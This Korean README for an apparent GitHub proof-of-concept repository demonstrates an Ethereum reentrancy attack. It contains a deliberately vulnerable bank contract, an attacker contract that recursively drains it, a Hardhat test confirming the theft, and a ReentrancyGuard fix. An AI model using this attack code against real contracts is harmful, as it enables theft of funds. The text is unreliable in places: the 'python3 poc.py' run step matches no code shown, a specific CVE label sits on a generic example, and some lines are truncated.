
스마트 계약 재진입 공격 취약점 PoC
스마트 계약 재진입 공격 취약점 검증
이 저장소는 이더리움 스마트 계약의 재진입 공격(reentrancy attack) 취약점을 시연하는 PoC(Proof of Concept)를 포함합니다. PoC에는 취약한 스마트 계약, 공격자 계약, 그리고 로컬 테스트 환경에서 공격을 재현하는 방법이 포함되어 있습니다.
재진입(Reentrancy)은 이더리움 스마트 계약에서 흔히 발생하는 취약점으로, 외부 계약이 첫 번째 호출이 완료되기 전에 원래 계약으로 반복 호출을 수행하여 자금을 탈취하거나 상태를 조작할 수 있습니다. 이 PoC는 공격자가 취약한 계약을 악용하여 Ether를 탈취하는 방법을 보여줍니다.
취약한 계약(VulnerableBank)은 사용자가 Ether를 입금하고 출금할 수 있게 합니다. 그러나 외부 호출을 수행하기 전에 상태 업데이트를 제대로 처리하지 않아 재진입에 취약합니다. 공격자 계약(Attacker)은 withdraw 함수를 재귀적으로 호출하여 계약의 Ether 잔액을 탈취함으로써 이를 악용합니다.
VulnerableBank의 withdraw 함수는 사용자의 잔액을 업데이트하기 전에 호출자에게 Ether를 보냅니다.withdraw를 다시 호출하여 계약 자금을 탈취할 수 있습니다.이 PoC를 실행하려면 다음이 필요합니다:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
이 PoC에서 사용되는 두 계약은 다음과 같습니다:
이 계약은 입금과 출금을 허용하는 간단한 은행을 시뮬레이션하지만 재진입에 취약합니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
이 계약은 withdraw 함수를 재귀적으로 호출하여 재진입 취약점을 악용합니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
공격 시뮬레이션을 자동화하기 위한 Hardhat 테스트 스크립트가 포함되어 있습니다.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
재진입 공격을 방지하려면 다음 모범 사례를 고려하세요:
ReentrancyGuard)를 사용하세요.transfer 또는 send 사용: 이 메서드들은 가스를 제한하여 재진입 위험을 줄입니다.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
이 프로젝트는 MIT 라이선스 하에 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.